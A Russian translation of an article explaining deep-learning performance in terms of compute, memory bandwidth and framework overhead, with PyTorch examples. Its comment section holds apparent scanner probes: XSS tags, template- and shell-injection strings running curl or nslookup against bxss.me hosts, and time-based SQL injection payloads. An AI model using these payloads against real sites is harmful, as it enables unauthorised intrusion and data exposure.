Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9480 / Markets: 114837
Market Cap: $ 3 636 405 650 348 / 24h Vol: $ 110 726 802 101 / BTC Dominance: 58.759561666026%

Н Новости

[Перевод] Заставляем машинное обучение делать «брррр» через понимание базовых принципов компьютерных систем

Итак, вы хотите улучшить эффективность работы своей модели глубокого обучения. Как подойти к такой задаче? Народ в таких случаях часто набрасывается на «сборную солянку» из всяких хитрых приёмов, которые, вроде бы, кому‑то когда‑то помогли, или хватает что‑то, встреченное в каком‑нибудь твите, вроде «Используйте операции, изменяющие исходные данные! Задайте значение None для градиентов! Устанавливайте PyTorch 1.10.0, но ни в коем случае не 1.10.1!».

c248ed1bf7065b4e3e9ed14e5f86141b.png

Понятно — почему люди часто прибегают к таким вот спонтанным действиям в подобных ситуациях. Ведь «эффективность работы» современных систем, их «производительность» (в особенности — систем глубокого обучения) часто кажутся нам понятиями, которые ближе к алхимии, чем к науке. Тем не менее — рассуждения о производительности, в основе которых лежат базовые принципы работы компьютерных систем, способны устранить надобность в широком круге «магических» приёмов и в результате значительно облегчить путь к решению проблемы.

Например, многие решения, принимаемые ради выхода на хорошую производительность при работе с неким набором данных в системе глубокого обучения, основаны на догадках. Но если ошибка обучения системы гораздо ниже, чем ошибка, вычисляемая на тестовых данных, это говорит о том, что система работает в режиме переобучения. Попытка увеличения ёмкости модели в такой ситуации означает бесполезную трату времени. Или, если ошибка обучения аналогична ошибке, получаемой на проверочных данных, это означает пустую трату времени в том случае, если будет предпринята попытка регуляризации модели.

И, рассуждая похожим образом, можно понять то, как режим работы модели влияет на её производительность, исходя из того, что производительность зависит от трёх факторов:

  1. Вычисления: время, потраченное GPU на выполнение реальных операций с плавающей точкой («флопсы»).

  2. Память: время, потраченное на передачу тензоров в пределах GPU.

  3. Затраты на вспомогательные операции (оверхед): всё остальное.

Так же, как и при обучении моделей, знание о том, в каком режиме работает система, позволяет сузить круг возможных оптимизаций, которые могут привести к ощутимым улучшениям. Например, всё время тратится на перемещение данных в памяти (то есть — система пребывает в режиме, в котором эффективность её работы ограничена памятью). В таком случае увеличение «флопсов» GPU ничего не даст. А, с другой стороны, если всё время тратится на выполнение больших «тяжёлых» матричных вычислений (то есть — эффективность работы системы упирается в скорость вычислений), тогда переписывание логики модели на C++ ради уменьшения оверхеда пользы не принесёт.

Поэтому — если нужно, чтобы GPU постоянно делал бы «брррр», стоит поговорить о трёх областях, в которых тратится время системы — о вычислениях, о пропускной способности памяти, и об оверхеде.

За жестоким уроком стоит легион инженеров, которые стараются, чтобы GPU работали бы эффективно. Изображение взято с gwern.net
За жестоким уроком стоит легион инженеров, которые стараются, чтобы GPU работали бы эффективно. Изображение взято с gwern.net

Обратите внимание на то, что в большей части этого материала, в качестве примера, используются графические ускорители и PyTorch (так как я работаю в команде PyTorch), но обсуждаемые принципы практически полностью применимы к самым разным аппаратным и программным решениям.

Вычисления

Одно из направлений оптимизации систем глубокого обучения заключается в стремлении к максимизации времени, которое система, производительность которой зависит от вычислений, проводит в режиме этих самых вычислений. Человек заплатил за все эти 312 терафлопсов и, в идеале, он должен иметь возможность по полной их нагрузить. Но для того чтобы каждая копейка, вложенная в дорогие операции умножения матриц, принесла бы пользу, нужно снизить время, потраченное на всё остальное.

А почему мы тут зацепились за максимизацию эффективности использования вычислительных ресурсов, а не, скажем, за пропускную способность памяти? Ответ прост: не меняя операций, выполняемых в системе, можно уменьшить оверхед, связанный с памятью, но (как правило) нельзя снизить количество необходимых вычислений.

Сложность максимизации использования вычислительных ресурсов подчёркивает соотношение того, как вычислительная мощь систем растёт в сравнении с ростом пропускной способности памяти. Взгляните на эту публикацию, где можно найти сведения о времени, необходимом на удвоение производительности процессоров и на удвоение пропускной способности памяти.

Ниже показана таблица № 2 из той публикации.

В четвёртой строке дано время в годах, необходимое для удвоения пропускной способности, соответственно, процессоров, модулей памяти, локальных сетей и дисковых накопителей
В четвёртой строке дано время в годах, необходимое для удвоения пропускной способности, соответственно, процессоров, модулей памяти, локальных сетей и дисковых накопителей

Вот — таблица №3 из публикации.

Хотя в последнее время пропускная способность систем улучшается быстрее, соотношения улучшения показателей задержек и ёмкости при удвоении пропускной способности близки к тем, что приведены в таблице 2
Хотя в последнее время пропускная способность систем улучшается быстрее, соотношения улучшения показателей задержек и ёмкости при удвоении пропускной способности близки к тем, что приведены в таблице 2

Вычислительную часть компьютерной системы можно представить себе в виде завода. Мы отправляем на завод инструкции (оверхед), шлём туда материалы (пропускная способность памяти), делая всё это для того, чтобы завод работал бы эффективно (вычисления).

https://horace.io/img/perf_intro/factory.png
Память, передача данных, вычисления

Получается, что если завод начинает ускоряться, и эффективность его работы превышает скорость, с которой мы можем подавать на него материалы, ему становится сложнее достигнуть пиковых значений эффективности.

https://horace.io/img/perf_intro/factory_doubled.png
Несмотря на то, что размер завода («флопсы») удвоился — если полоса пропускания памяти не будет соответствовать новым требованиям — производительность всей системы в два раза не вырастет

Ситуация, когда сложность полного использования вычислительных ресурсов всё время растёт, с одной стороны, гарантирует постоянную занятость ML‑инженерам. А с другой стороны — делает крайне важным понимание того, что именно является узким местом некоей системы.

Скажу ещё пару слов о «флопсах». Все современные ускорители машинного обучения обладают специализированными аппаратными подсистемами для умножения матриц. Например — это тензорные ядра (Tensor Core) NVIDIA.

https://horace.io/img/perf_intro/a100_specs.png
Спецификации NVIDIA A100

Поэтому, если умножением матриц вы не занимаетесь, то на NVIDIA A100 вам удастся добиться лишь 19,5 терафлопсов, а не упомянутых в документации 312. Обратите внимание на то, что такая ситуация не является чем‑то уникальным именно для GPU. На самом деле, TPU даже менее универсальны, чем GPU

Тот факт, что GPU показывают гораздо меньшую производительность на задачах, где не используется умножение матриц, поначалу может показаться проблемой. А как же другие операторы, вроде нормализации слоёв и функций активации? Но дело тут в том, что процент таких операторов, в плане необходимых для них флопсов, крайне мал. Например — посмотрим на таблицу, взятую отсюда, где подсчитывается процент флопсов, требующихся в BERT для выполнения операторов различных типов. Здесь «Tensor contraction» — это умножение матриц.

https://horace.io/img/perf_intro/bert_flops.png

Можно видеть, что операции, не относящиеся к умножению матриц, требуют лишь 0,2% имеющихся флопсов. Поэтому неважно то, что GPU обрабатывает другие операции в 15 раз медленнее, чем операции умножения матриц.

Но в данном случае на нормализацию и поэлементные операции уходит, соответственно, в 250 и в 700 раз меньше флопсов, чем на умножение матриц.

Так почему же выполнение операций, не относящихся к умножению матриц, занимает гораздо больше времени, чем ожидается?

Если вернуться к нашей аналогии, то часто виной всему является время, нужное для доставки материалов на завод и на получение с него готовой продукции. Другими словами — виной всему недостаточная пропускная способность памяти.

Пропускная способность памяти

Затраты времени, связанные с пропускной способностью памяти — это, в сущности, «стоимость» перемещения данных из одного места в другое. Например — передача данных из CPU в GPU, из одного сетевого узла в другой, или даже из глобальной памяти CUDA в разделяемую память CUDA. И, в частности, последний из упомянутых случаев нам особенно интересен, о нём мы и будем здесь говорить. Именно его обычно имеют в виду, когда говорят о временных затратах, связанных с «пропускной способностью», или с «пропускной способностью памяти».

Другие два случая (их обычно называют, соответственно, затратами, связанными с «передачей данных» и с «передачей данных по сети»), тоже, безусловно, важны. Но если я заведу тут разговор о производительности распределённых систем, то никогда эту статью не допишу.

Для того чтобы разобраться с тем, что собой представляют временные затраты, связанные с пропускной способностью памяти, вернёмся к аналогии с заводом.

Хотя реальная работа выполняется на заводе, он плохо подходит на роль большого хранилища. Во многом это так из‑за того, что, так как на заводе мы занимаемся реальной работой, все системы хранения, которые в нём есть, оптимизированы в расчёте на то, чтобы ими можно было бы пользоваться быстро (SRAM). Завод не рассчитан на то, чтобы в нём было бы много таких хранилищ.

Где же тогда хранить результаты работы завода и необходимые ему материалы? Обычно — на некоем складе. Возможно, этот склад расположен там, где земельные участки стоят недорого, и там, где есть много места (DRAM). С этого склада мы можем отправлять на заводы материалы. В него же будет поступать продукция, производимая заводами (пропускная способность памяти).

https://horace.io/img/perf_intro/factory_bandwidth.png
Временные затраты, связанные с пропускной способностью памяти

Стоимость перемещения чего‑либо в вычислительный блок и из него и называют стоимостью «пропускной способности памяти». Отмечу, что DRAM GPU — это то, что показывается в nvidia‑smi. И именно об этой памяти идёт речь во всеми любимых сообщениях об ошибках «CUDA Out of Memory».

Тут стоить отметить, что каждый раз, когда мы выполняем что‑либо на ядре GPU, нам нужно переместить данные из DRAM GPU и обратно (то есть — воспользоваться складом).

Теперь представьте себе, что произойдёт, когда выполняется унарная операция, вроде torch.cos. Надо отправить данные со склада на завод, провести какие‑то простые вычисления над каждым элементом данных, а затем отправить то, что получилось, обратно. Отправка чего‑либо куда‑либо — это довольно дорогое удовольствие. Как результат — почти всё время, потраченное на это дело, ушло на отправку и получение данных, а не на сами вычисления.

Так как время выполнения подобных операций почти полностью состоит из времени, необходимого на отправку и получение данных, такие операции называются операциями, зависящими от пропускной способности памяти. То есть — при выполнении таких операций на сами вычисления много времени не тратится.

Понятно, что идеальной такую ситуацию не назовёшь. Как её улучшить? Посмотрим на то, как может выглядеть последовательность выполнения неких операторов.

https://horace.io/img/perf_intro/multi_operators.png
Вот как может выглядеть последовательность поэлементных операторов

Да вы посмотрите — довольно-таки бестолковая получилась схема. Почему мы снова и снова пересылаем одни и те же данные между глобальной памятью и вычислительным модулем? Лучше было бы хранить промежуточные результаты вычислений в самом вычислительном модуле (на заводе), а когда всё будет посчитано — отправлять их в память!

https://horace.io/img/perf_intro/operator_fusion.png
Вместо того, чтобы слать треугольники обратно в глобальную память, делая это лишь для того, чтобы снова их из неё читать, мы просто выполняем все операции за один заход

Это — так называемый «фьюзинг операторов» (operator fusion) — самая важная оптимизация в компиляторах, применяемых в глубоком обучении. Если описать это простыми словами, то, вместо того, чтобы писать данные в глобальную память, делая это только для того, чтобы снова их прочитать, мы опускаем излишние операции по работе с памятью, выполняя несколько этапов вычислений за один заход.

Например, если вычисляют x.cos().cos(), это значит, что, при обычном подходе, нужно выполнить 4 операции чтения и записи, обращаясь к глобальной памяти.

x1 = x.cos() # Прочитать из x в глобальной памяти, записать в x1
x2 = x1.cos() # Прочитать из x1 в глобальной памяти, записать в x2

А если применить фьюзинг операторов — понадобится лишь 2 операции чтения/записи глобальной памяти! Получается, что этот приём ускорит работу в 2 раза.

x2 = x.cos().cos() # Прочитать из x в глобальной памяти, записать в x2

Гораздо лучше.

Правда, тут есть несколько нюансов, из‑за которых реализация фьюзинга несколько усложняется. Во‑первых — GPU, когда он выполняет текущую операцию, нужно знать о том, что должно произойти дальше. Поэтому такую оптимизацию нельзя произвести в стандартном режиме работы PyTorch (Eager Mode). В этом режиме PyTorch выполняет операторы по одному за раз. Во‑вторых — для этого нужно сгенерировать CUDA‑код, что сразу сваливает на нас целую кучу проблем.

Не все фьюжны операторов так же просты, как в случае с поэлементными операторами. Поэлементные операторы можно «сфьюзить», превратив их в редукцию (reduction) или в умножение матриц. Даже само умножение матриц можно рассматривать в качестве фьюзинга умножения с автоматическим расширением размерности и размеров массивов (broadcasting multiply) и редукции.

Если вас интересует написание собственных ядер CUDA — весьма вероятно то, что именно в этом вы и увидите главный плюс фьюзинга. Если имеются 2 любых оператора PyTorch — это уже открывает возможности для их фьюзинга, благодаря чему экономится полоса пропускания при работе с глобальной памятью, устраняются затраты времени, необходимые на обмен данными между этими операторами. Кроме того, множество существующих компиляторов часто способны применять «простые» фьюзы. Например — NVFuser и XLA. Но автоматике далеко до той изобретательности, которой обладает человек. Поэтому, если вы хотите попробовать себя в написании собственных ядер CUDA — отличной отправной точкой для ваших экспериментов станет язык и компилятор Triton.

И наконец — фьюзинг операторов даёт удивительные побочные эффекты. Вот один из них: фьюзинговая конструкция x.cos().cos() выполняется почти за то же самое время, что и обычный вызов x.cos(). Именно поэтому различные функции активации обладают практически одинаковой «стоимостью», несмотря на то, что gelu, естественно, включает в себя гораздо больше операций, чем relu.

Этот факт ведёт к некоторым интересным последствиям для рематериализации/оптимизации работы с памятью при хранении результатов работы функций активации (rematerialization/activation checkpointing). Смысл тут в том, что выполнение дополнительных пересчётов может вести к уменьшению потребности в пропускной способности памяти, а значит — к сокращению времени работы кода. Получается, что можно снизить и потребность системы в памяти, и длительность выполнения программ посредством рематериализации. Именно этот подход мы использовали при создании приятной min‑cut‑оптимизации в AOTAutograd. Подробности об этом смотрите здесь (я, может быть, ещё напишу об этом!).

Рассуждения о «стоимости» пропускной способности памяти

Когда дело доходит до рассуждений о том, ограничена ли скорость выполнения некоей операции пропускной способностью памяти, большое значение в ходе таких рассуждений может иметь калькулятор.

Для простых операторов вполне нормально непосредственно рассуждать о необходимой им пропускной способности памяти. Например, видеоускоритель Nvidia A100 обладает пропускной способностью глобальной памяти в 1,5 терабайта в секунду и способен выполнять вычисления со скоростью 19,5 терафлопсов в секунду. Поэтому, если используются 32-битные (то есть — 4-байтные) числа с плавающей запятой, можно загрузить 400 миллиардов чисел за то же самое время, за которое GPU способен выполнить 20 триллионов операций. Более того, для выполнения простого унарного оператора (вроде умножения тензора на 2), нам, на самом деле, надо записать тензор обратно в глобальную память.

Поэтому… до тех пор, пока в унарном операторе не производится что‑то около сотни операций, основное время будет тратиться не на вычисления, а на работу с памятью.

Воспользовавшись фьюжн‑компилятором, вроде NVFuser, довольно легко измерить соответствующие показатели самостоятельно! Код можно найти на Colab.

Возьмём PyTorch‑функцию:

def f(x: Tensor[N]):
    for _ in range(repeat):
        x = x * 2
    return x

Если измерить производительность этой функции с помощью фьюжн‑компилятора — можно получить разные значения флопсов и пропускной способности памяти, достижимые для различных значений repeat. Увеличение repeat — это лёгкий способ увеличения объёма вычислений без увеличения количества обращений к памяти. Такой подход ещё известен как повышение интенсивности вычислений (compute intensity).

Если говорить конкретнее, то представим, что мы оценили производительность этого кода и нашли количество итераций, выполняемых в секунду. Затем, в виде функции от N (размера тензора), мы выполняем 2*N операций доступа к памяти и производим вычисления, оцениваемые как N*repeat FLOP. Получается, что пропускная способность памяти, которая при этом достигается, будет вычисляться по формуле bytes_per_elem * 2 * N * itrs_per_second (байты_на_элемент * 2 * N * итерации_в_секунду), а вычислительные ресурсы, «флопсы», которые на это тратятся, будут вычисляться по формуле N * repeat * itrs_per_second (N * repeat * итерации_в_секунду).

Теперь построим графики, отражающие время выполнения программы (Runtime), «флопсы» (FLOPS) и пропускную способность памяти (Memory Bandwidth). Обратите внимание на то, что при построении этих графиков используется двойная логарифмическая шкала.

https://horace.io/img/perf_intro/microbench.png
Графики Runtime, FLOPS и Memory Bandwidth

Для начала — обратите внимание на то, что время выполнения программы не возрастает сколько‑нибудь заметным образом до тех пор, пока мы выполняем менее 64 операций умножения. Это означает, что вплоть до этого момента мы, в основном, ограничены пропускной способностью памяти, а вычислительная подсистема, по большей части, почти ничего не делает.

В результате мы начинаем с достижения жалкого показателя в 0,2 терафлопса. После каждого удвоения интенсивности вычислений мы видим линейный рост этого показателя, который продолжается до тех пор, пока не доходит до пикового значения в 9,75 терафлопсов. (Возможно — это не та цифра, которую можно увидеть в спецификациях на Nvidia A100, где упомянуты 19,5 терафлопсов. Причина этого в том, что GPU, кроме прочего, имеют ещё более специализированное аппаратное обеспечение для фьюзинговых инструкций умножения и сложения (FMA). Поэтому при выполнении полностью универсальных вычислений A100 доходит лишь до 9,75 терафлопсов.) После того, как мы приблизимся к пиковому значению терафлопсов, наши вычисления можно будет счесть задачей, производительность которой зависит от скорости вычислений.

И наконец — можно заметить, что показатели использованной пропускной способности памяти в начале графика близки к пиковым, а по мере того, как мы повышаем интенсивность вычислений, они начинают падать. Это — именно то, чего и стоит ожидать, так как мы тратим всё больше и больше времени, выполняя вычисления, снижая количество времени, уходящего на доступ к памяти.

В данном случае чётко видно — когда мы ограничены скоростью вычислений, а когда — пропускной способностью памяти. При repeat < 32 мы полноценно нагружаем полосу пропускания памяти в то время как вычислительные мощности оказываются недоиспользованными. А как только мы оказываемся в ситуации, когда repeat > 64, получается, что вычислительные мощности нагружаются полноценно (то есть — мы доходим до показателей FLOPS, близких к пиковым), а показатели использования пропускной способности памяти начинают падать.

В случае более крупных систем часто сложно бывает понять — работаю ли они в режиме, когда их производительность ограничена памятью, или в режиме, когда эффективность их работы упирается в скорость вычислений. Нередко это бывает из‑за того, что они состоят из некоей смеси компонентов, некоторые из которых ограничены памятью, а некоторые — вычислениями.

Один из распространённых подходов к оценке того, насколько система ограничена скоростью вычислений, заключается в том, чтобы измерить достигнутый ей показатель FLOPS и посчитать то, сколько процентов он составляет от пикового показателя FLOPS. Например, если некая система достигает 80% от пикового показателя — тогда можно сказать, что она зависит от скорости вычислений, по меньшей мере, на 80%, что очень прилично! Остальное время её работы, вероятно, тратится на выполнение операций, зависящих от пропускной способности памяти. (Существует множество подходов к подсчёту «флопсов». Но сейчас их очень просто и приятно считать в PyTorch. Тут вы можете найти обсуждение этого вопроса.)

Однако, на производительность систем глубокого обучения воздействует не только пропускная способность памяти. Есть ещё один фактор, который может помешать GPU делать «брррр».

Оверхед

Затраты на вспомогательные операции, или оверхед, это время, которое уходит на выполнение действий, которые не относятся к передаче тензоров и к вычислениям. Как классифицировать время, проведённое в интерпретаторе Python? Это — оверхед. А время, проведённое во фреймворке PyTorch? Это — тоже оверхед. Время, уходящее на запуск ядер CUDA (но не на их выполнение) — это, снова, оверхед.

Главная причина того, что оверхед — это настолько опасная проблема, заключается в том, что современные GPU — это реально быстрые устройства. Видеоускоритель Nvidia A100 может выполнять 312 триллионов операций с плавающей точкой в секунду (312 терафлопсов). В сравнении с этими цифрами Python — это очень меееееееееееееедленная система. Локальные бенчмарки показывают, что Python может выполнять 32 миллиона операций сложения в секунду.

Всё это значит, что за то время, за которое Python «сделает» 1 флопс, A100 мог бы выдать 9,75 миллиона флопсов.

Сгустим краски: интерпретатор Python — это не единственный источник оверхеда. Фреймворки вроде PyTorch тоже предусматривают использование множества уровней абстракции, через которые нужно пробиться для того чтобы попасть в вычислительное ядро. Если провести такой же эксперимент с PyTorch — получится, что этот фреймворк может выполнить лишь 280 тысяч операций в секунду. Конечно, маленькие тензоры — это не те сущности, для обработки которых создан PyTorch. Но… если вы пользуетесь маленькими тензорами (в научных вычислениях, например), то вы сможете обнаружить, что PyTorch, в сравнении с С++ — это очень медленно.

Например — взгляните на следующий Flame‑график, иллюстрирующий то, как в PyTorch производится единственная операция сложения. Там выделен крошечный участок графика. Именно он и олицетворяет реальные вычисления. Всё остальное — чистый оверхед.

https://horace.io/img/perf_intro/flamegraph.png
Сложение в PyTorch

Увиденное вас, возможно, шокирует и заставит задаться вопросом о том, почему кто‑то вообще использует PyTorch. Но не забывайте, что современные модели глубокого обучения часто основаны на выполнении огромных операций. Более того — фреймворки вроде PyTorch выполняются асинхронно. То есть — пока PyTorch выполняет ядро CUDA, он может заниматься и другими задачами, ставя в очередь дополнительные ядра CUDA. Поэтому, до тех пор, пока PyTorch может «бежать впереди» ядер CUDA — большая часть оверхеда фреймворка оказывается полностью скрытой!

Если операторы GPU достаточно велики — тогда CPU может, по отношению к GPU, работать на опережение (и, значит, оверхед CPU роли играть не будет). С другой стороны, если операторы GPU слишком малы — GPU из-за этого будет тратить большую часть своего времени, играя роль дорогого пресс-папье.
Если операторы GPU достаточно велики — тогда CPU может, по отношению к GPU, работать на опережение (и, значит, оверхед CPU роли играть не будет). С другой стороны, если операторы GPU слишком малы — GPU из-за этого будет тратить большую часть своего времени, играя роль дорогого пресс-папье.

Как понять, что система находится в таком режиме? Ну, так как оверхед обычно не растёт с ростом масштабов задачи (в то время как потребление вычислительных ресурсов и памяти растут), легче всего это можно выяснить, просто увеличив размер данных. Если это не приведёт к пропорциональному увеличению времени выполнения программы — это значит, что эффективность работы системы ограничена оверхедом. Например, если при удвоении размера пакета время выполнения программы вырастет лишь на 10% — это с высокой долей вероятности означает, что производительность системы упирается в оверхед. (Это — далеко не единственная причина, по которой увеличение размера пакета может не привести к пропорциональному увеличению времени выполнения программы. В определённых режимах такой ход, кроме прочего, ведёт к росту интенсивности вычислений. Например, в MLP обычно выполняют умножение матриц вида [B, D] x [D, D]. Если B меньше, чем D (скажем, размер пакета — 1, в то время как размер скрытого измерения — 128), тогда может оказаться так, что, незначительно увеличивая общую нагрузку на память, мы удваиваем объём необходимых вычислений. Я не смог додуматься до того, как объяснить эту особенность простыми словами.)

Ещё один способ оценки оверхеда заключается в использовании профилировщика PyTorch. Ниже розовые линии указывают на то, как ядра CPU соотносятся с ядрами GPU.

https://horace.io/img/perf_intro/overhead_tracer.png
Много разрывов в работе GPU, которые появляются из-за того, что GPU приходится ждать оверхеда CPU
https://horace.io/img/perf_intro/no_overhead.png
Наш CPU сильно опережает GPU

Ещё отмечу, что запись «GPU-Util» (не «Volatile GPU-Util») в nvidia-smi показывает то, какой процент нижнего ряда реально выполняет ядро GPU. Поэтому это — ещё один хороший способ на глаз оценить масштабы оверхеда.

Главная причина существования этого оверхеда кроется во всей той гибкости, которой обладают фреймворки вроде PyTorch. В сущности — речь идёт о том, что фреймворку нужно потратить много времени на то, чтобы «понять, что ему делать».

Источник этого может находиться в Python (поиск атрибутов или перенаправление вызова к правильной функции), или в коде PyTorch (все диспетчеры PyTorch). Например, когда выполняют операцию a + b, должны быть выполнены следующие шаги:

  1. Python должен найти то, что __add__ диспетчеризует в a.

  2. PyTorch должен определить множество атрибутов тензора (таких, как dtype, device, а также — нужно ли применять autograd) для принятия решения о том, какое именно ядро вызывать.

  3. PyTorch нужно вызвать подходящее ядро.

По сути — этот оверхед произрастает из гибкости, позволяющей делать на каждом шаге что-то новое. Если такая гибкость не нужна — один из способов с ней разобраться заключается в том, чтобы отследить соответствующие фрагменты кода с помощью jit.trace, FX или jax.jit. Кроме того, сделать это можно даже и на более низком уровне, воспользовавшись чем-то вроде CUDA Graphs.

К сожалению, за это приходится платить потерей гибкости. Есть один подход, который мне очень нравится, позволяющий, так сказать, взять лучшее из двух миров. Заключается он в том, чтобы написать что-то большее, что-то уровня «настоящего» JIT, подойдя к этому через анализ того, что происходит на уровне виртуальной машины. Подробнее об этой идее можно почитать в материале о TorchDynamo.

Итоги

Если вы хотите ускорить свою систему глубокого обучения, то самое главное — выяснить то, где находится её узкое место. Именно это и позволяет определить правильный способ ускорения системы.

Часто я вижу, как исследователи и другие люди, заинтересованные в ускорении своего PyTorch-кода, слепо пробуют разные подходы, не понимая того, в каком режиме работают их системы.

Режим производительности

Приемлемое решение

Производительность ограничена оверхедом

Трассировка, фьюзинг операторов, не использовать Python, настоящий JIT :^)

Производительность ограничена пропускной способностью памяти

Фьюзинг операторов

Производительность ограничена скоростью вычислений

Использовать тензорные ядра, дать заработать Nvidia

Конечно, пожалуй, если пользователям некоего фреймворка нужно обо всём этом думать — это означает недоработку со стороны самого этого фреймворка. Компилятор PyTorch или API профилировщика никогда не относились к технологиями, которыми… невероятно легко пользоваться, хотя этому вопросу сейчас уделяется пристальное внимание.

Но, как бы там ни было, я полагаю, что понимание базовых принципов работы компьютерных систем — это практически всегда полезно. Надеюсь, вам это понимание тоже пригодится.

О, а приходите к нам работать? 🤗 💰

Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.

Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.

Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.

Присоединяйтесь к нашей команде

Источник

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

